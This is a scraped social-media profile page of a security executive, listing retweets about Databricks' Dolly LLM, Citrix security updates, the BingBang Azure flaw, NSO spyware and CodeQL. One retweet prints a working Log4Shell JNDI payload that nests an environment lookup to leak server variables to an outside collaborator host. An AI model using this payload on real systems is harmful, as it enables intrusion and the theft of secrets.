Databricks' CSO - Previously: Citrix's CISO, Semmle's CSO, Google's Head of Product Security, MSFT, entrepreneur. Real Madrid supporter. All opinions my own.
Washington, USA
Joined December 2007
- Tweets4.2K
- Following2K
- Followers12.9K
- Likes16
Fermin J. Serna retweeted
Excited to launch the first two #LLM MOOC courses with @edXOnline. Learn about prompt engineering, vector embeddings, retrieval, chains, and MLOps. Learn how to create your own LLM from scratch on a data lakehouse!
databricks.com/blog/enroll-o…
Fermin J. Serna retweeted
Two weeks after we first introduced Dolly, we're back with more: @databricks releases Dolly 2.0, the first open, instruction-following large language model for commercial use bit.ly/3zXOzjC via @VentureBeat @sharongoldman tip @Techmeme
Fermin J. Serna retweeted
I can’t tell which I’m more excited about, Dolly 2.0 or the fact that we’re giving away the 15k instruction tuning records, created by thousands of Databricks employees in the last two weeks, we used to train it.
Free and licensed for commercial use! 🐑
github.com/databrickslabs/do…
Fermin J. Serna retweeted
I hacked into a @Bing CMS that allowed me to alter search results and take over millions of @Office365 accounts.
How did I do it? Well, it all started with a simple click in @Azure… 👀
This is the story of #BingBang 🧵⬇️
Fermin J. Serna retweeted
Matt Mochary has been CEO coach to @naval, the founders of OpenAI, Notion, Rippling, Robinhood, Coinbase, Reddit, Plaid, Flexport, Opendoor, partners at Sequoia, YC, Benchmark, and many others.
He also open-sourced his entire curriculum, templates and all. Here's a link 👇
Fermin J. Serna retweeted
Thank you @databricks for now supporting IMDSv2! docs.databricks.com/administ…
A list of vendors known to not support IMDSv2 can be found at: github.com/SummitRoute/imdsv…
Fermin J. Serna retweeted
I'm really proud of the expansion of TAG into combating financially motivated threats. While sometimes APT and espionage get more of the attention for many organizations cybercriminals and ransomware are an equal or bigger threat.
Fermin J. Serna retweeted
In case anyone hasn't discovered this. The Log4J formatting is nestable which means payloads like
${jndi:ldap://${env:user}.xyz.collab.com/a}
Will leak server side env vars!
Fermin J. Serna retweeted
Pegasus Project: Apple iPhones compromised by NSO spyware
Our forensic analysis has uncovered irrefutable evidence that through iMessage zero-click attacks, NSO’s spyware has successfully infected iPhone 11 and iPhone 12 models.
amnesty.org/en/latest/news/2…
Fermin J. Serna retweeted
Google launches its BeyondCorp Enterprise zero trust security platform tcrn.ch/3iOgRUp via @techcrunch #Citrix @fjserna
Fermin J. Serna retweeted
With attacks on the rise and a larger-than-life surface to defend, how do security teams need to adapt their mindset heading into next year?
Citrix CISO @fjserna shares his 2021 #cybersecurity predictions here. buff.ly/3k9qzQm
Fermin J. Serna retweeted
Citrix just released a blog post about the data breach that is going its round on twitter, read thier response on it here: citrix.com/blogs/2020/07/14/…
#Citrix #Security #CitrixCTP
Fermin J. Serna retweeted
Thanks for the very improved communication on this issue
We just published a security update for Citrix ADC/Gateway/SDWAN WANOP. 1) These vulnerabilities are not related to CVE-2019-19781 2) Most of them require either auth or direct access to the management network 3) The others are temporary DoS,XSS, local EoP citrix.com/blogs/2020/07/07/…
Fermin J. Serna retweeted
Good to see this clear communications from @Citrix on the latest ADC/Gsteway/SD-WAN WANOP Security Update. Thanks for providing the additional context! And happy to see my fellow #CitrixCTPs offering help 👍 #CommunityRocks
We just published a security update for Citrix ADC/Gateway/SDWAN WANOP. 1) These vulnerabilities are not related to CVE-2019-19781 2) Most of them require either auth or direct access to the management network 3) The others are temporary DoS,XSS, local EoP citrix.com/blogs/2020/07/07/…
Fermin J. Serna retweeted
"Our goal is for every CVE in OSS that gets found that could be generalized, we create a CodeQL query that will cover that. Instead of manually fixing bugs one at a time, we can eradicate whole categories of vulnerabilities across software" @natfriedman githubsatellite.com/security